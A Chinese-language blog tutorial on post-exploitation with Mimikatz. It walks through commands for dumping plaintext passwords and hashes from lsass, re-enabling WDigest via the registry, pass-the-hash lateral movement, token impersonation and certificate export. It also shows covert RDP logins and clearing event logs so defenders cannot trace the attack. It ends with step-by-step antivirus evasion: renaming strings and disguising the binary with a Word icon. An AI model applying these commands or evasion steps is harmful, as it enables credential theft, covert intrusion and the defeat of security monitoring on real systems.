写点什么

内网渗透之某后渗透利用

  • 2023-03-23
    湖南
  • 本文字数:2938 字

    阅读完需:约 10 分钟

0x01 工具介绍

工具原理

Mimikatz 的主要原理是在 Windows 系统中用户登录后系统会将身份凭证存储于lsass.exe进程的内存当中,Mimikatz 通过注入lsass.exe进程读取进程内存,从中获取对应的明文密码。

常见问题

在 Windows Vista 系统之后不再存储 LM HASH,而 Windows 8.1 系统之后内存中也不再存储明文密码,因此在高版本 Windows 系统中无法利用 Mimikatz 直接读取明文密码。Mimikatz 能获取明文密码的关键是 wdigest,这是一个可逆算法,相关注册表存储位置如下:


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"(DWORD)
复制代码


后续高版本的 Windows 系统不能读取明文是因为关闭了该注册表键,如果想要重新获取明文,只需要开启该注册表后再输入密码重新登录即可。


reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
复制代码


给小伙伴整理了相对应的学习资料,如果你需要的话,我也可以分享一部分出来(涉密部分分享不了),需要的可以


👉 【一帮助安全学习一】👈点击领取256G网络安全自学资料

0x02 基础使用

常见用法

Mimikatz 的启动需要管理员/SYSTEM 权限运行,默认情况下拥有 32 位以及 64 位版本,在 Kali Linux 中默认存放位置为/usr/share/mimikatz,大多数人使用 Mimikatz 一般只用到两个命令,而对其他命令不太了解,接下来会为大家全面介绍 Mimikatz 这款神器。


privilege::debugsekurlsa::logonpasswords
复制代码


也可以使用一句话输出保存


mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"> pssword.txt
复制代码

基本语法

使用命令可查看全部功能模块


::
复制代码



调试进程修改运行权限为SYSTEM


privilege::debugprivilege:: #查看 privilege 的运行模块
复制代码



开启日志记录,保存读取的用户凭证信息


standard::log
复制代码


0x03 常用模块

Crypto 模块

加密模块主要用于导出可导出的证书,利用 CryptoAPI 函数访问证书,相当于简化版的 certutil。有时候一张合法的证书非常有用,当利用合法证书生成木马程序时可能被杀软认做白名单程序从而不进行查杀。相关参数如下:


/provider #指定提供者/providertype #指定提供类型/cngprovider #CNG 提供者/export #导出密钥 PVK 文件


查看相关密钥的提供者


crypto::providers
复制代码



查看当前系统存储信息


crypto::stores
复制代码



常见的系统存储用户名包括:


  • CURRENT_USER

  • USER_GROUP_POLICY

  • LOCAL_MACHINE

  • LOCAL_MACHINE_GROUP

  • LOCAL_MACHINE_ENTERPRISE

  • CURRENT_SERVICE

  • USERS

  • SERVICES


指定系统存储为local_machine进行查看


crypto::stores /systemstore:local_machine
复制代码



查看用户当前证书


crypto::certificates
复制代码



导出 ROOT 根证书


crypto::certificates /store:Root
复制代码



导出证书必须配合 store 参数。其中公钥为 DER,私钥为 PFX,密码为 mimikatz


crypto::certificates /store:Root /export
复制代码



使用 CryptoAPI 打补丁,有时候证书无法导出可能就是补丁没有打


crypto::capi
复制代码



使用 CNG 打补丁,用于导出未标记可导出的证书


crypto::cng
复制代码



列出智能读卡器,可能会出现报错


crypto::sc
复制代码



查看相关密钥


crypto::key
复制代码



使用 OpenSSL 生成证书


openssl rsa -inform pvk -in key.pvk -outform pem -out key.pem
复制代码

Sekurlsa 模块

Sekurlsa 模块能从lsass.exe进程中提取 passwords、keys、pin、tickets 等用户凭据信息,是最常用到模块。查看所有身份认证信息,成功拿到用户明文密码


sekurlsa::logonpasswords
复制代码



查看用户哈希可能会出现报错,这主要是由于当前权限较低


lsadump::sam
复制代码



解决方法非常简单,只要以系统权限运行即可


process::runp
复制代码


在新窗口中再次运行可成功拿到哈希



重置用户 NTLM 哈希会把哈希直接写入 SAM 数据库当中,因此执行该操作相当于重置密码,再次登录需要使用新密码进行登录


lsadump::setntlm /user:admin /ntlm:b2781ba85ac750ec286744b009599637
复制代码



转储并导出lsass.exe进程


sekurlsa::minidump lsass.tmp
复制代码


通过哈希传递进行横向移动


sekurlsa::pth /user:admin /domain:host1 /ntlm:b2781ba85ac750ec286744b009599637sekurlsa::pth /user:admin /domain:host1 /aes256:b2781ba85ac750ec286744b009599637
复制代码


凭证管理器中可查看 Windows 凭证


Token 模块

Token 模块主要用于查看、假冒现有 token。查看当前 token 信息


token::whoami
复制代码



查看 token 列表并假冒系统管理员


token::listtoken::elevate /NT AUTHORITY\SYSTEM
复制代码



还原假冒进程


token::revert
复制代码


其他模块

一般情况下重复登录远程桌面会导致已登录用户会直接退出或提示有其他用户登录



配合命令无提示登录远程桌面,该功能在 HW 中非常好用,即使管理员处于登录状态,我们仍能悄悄登录其他用户


ts::multirdp
复制代码



成功登录原会话不受影响,使用命令查看会话列表


ts::sessions
复制代码



虽然目前不会被已登录用户发现,但在事件查看器当中仍会存在登录日志



使用命令一键清除日志


event::clear
复制代码



成功清除日志后蓝队工程师无法通过系统日志来还原攻击过程



安装/卸载 Mimikatz 服务,帮助我们监听用户输入


service::+service::-
复制代码



成功安装 Mimikatz 服务且已自动启动



比如监听粘贴文本


misc::clip
复制代码


0x04 免杀利用

Mimikatz 作为最常用的黑客工具早已被各大安全软件标记,比如 360 杀毒、360 安全卫士、卡巴斯基等。使用源码免杀能帮助我们绕过杀毒软件的查杀,这是一种基于特征码的免杀方式,只需定位到源码中的特征代码进行修改就可达到免杀效果,一般会定位三个位置,分别是代码、字符串和输入表。

准备环境

在免杀前需要准备以下三个要素:


  • Mimikatz 源码

  • Visual Stdio 2019(C++)

  • vc 依赖文件


在 Github 中下载最新版的 Mimikatz


下载地址:https://github.com/gentilkiwi/mimikatz



更新 360 杀毒、病毒库为最新版本


配置问题

点击 Mimikatz 中的启动文件启动 Visual Stdio,在帮助菜单》关于〉查看许可证状态中输入激活证书可成功激活。而在 VS 2012 中如果出现报错信息(error MSB8020),解决方法为进入项目》属性〉常规》平台工作集中,将平台改为 VS 2012(v110)后即可成功运行编译。



选择生成出现报错界面,点击工具》获取工具和功能〉C++ 进行桌面开发》C++ Windows XP Support for VS 2017 v141,点击修改即可解决问题



下载安装完成后修改手工工具集为 2017 版本



在配置属性中的 C++ 中修改将警告视为错误改为否,否则每当出现错误就无法编译



重新生成又出现报错:MSB8036



在项目属性页选择已安装的 SDK 版本



点击重新生成后成功编译 32 位 Mimikatz



如果需要生成 64 位程序可在解决方案》配置属性选择平台为 x64



点击重新生成成功编译 64 位 Mimikatz


免杀过程

步入正题选择项目 mimikatz 的编辑》查找和替换》在文件中替换



把关键字 mimikatz 所有的字符串替换为 macsec,点击全部替换即可



由于字符串全部被替换,导致引入 mimikatz 的文件名也被替换,因此需修改全部文件名为 macsec



点击重新生成后输出macsec.exe



虽然目前能够进行静态查杀,但是还是无法绕过动态查杀




进一步删除macsec.cmacsec.h的注释信息



再次重新生成程序使用 360 测试仍无法绕过动态查杀



macsec.rc中修改版本信息,把带有 gentilkiwi 的公司名修改为 macsec



修改图标macsec.ico为 Office Word 图标后再次点击生成



放入免杀环境再次运行即可成功绕过



当然命令也能够成功执行



完成免杀后可上传至云平台查杀测试,但一般不要这么做,云平台会标记免杀程序

用户头像

我是一名网络安全渗透师 2021-06-18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
内网渗透之某后渗透利用_黑客_网络安全学海_InfoQ写作社区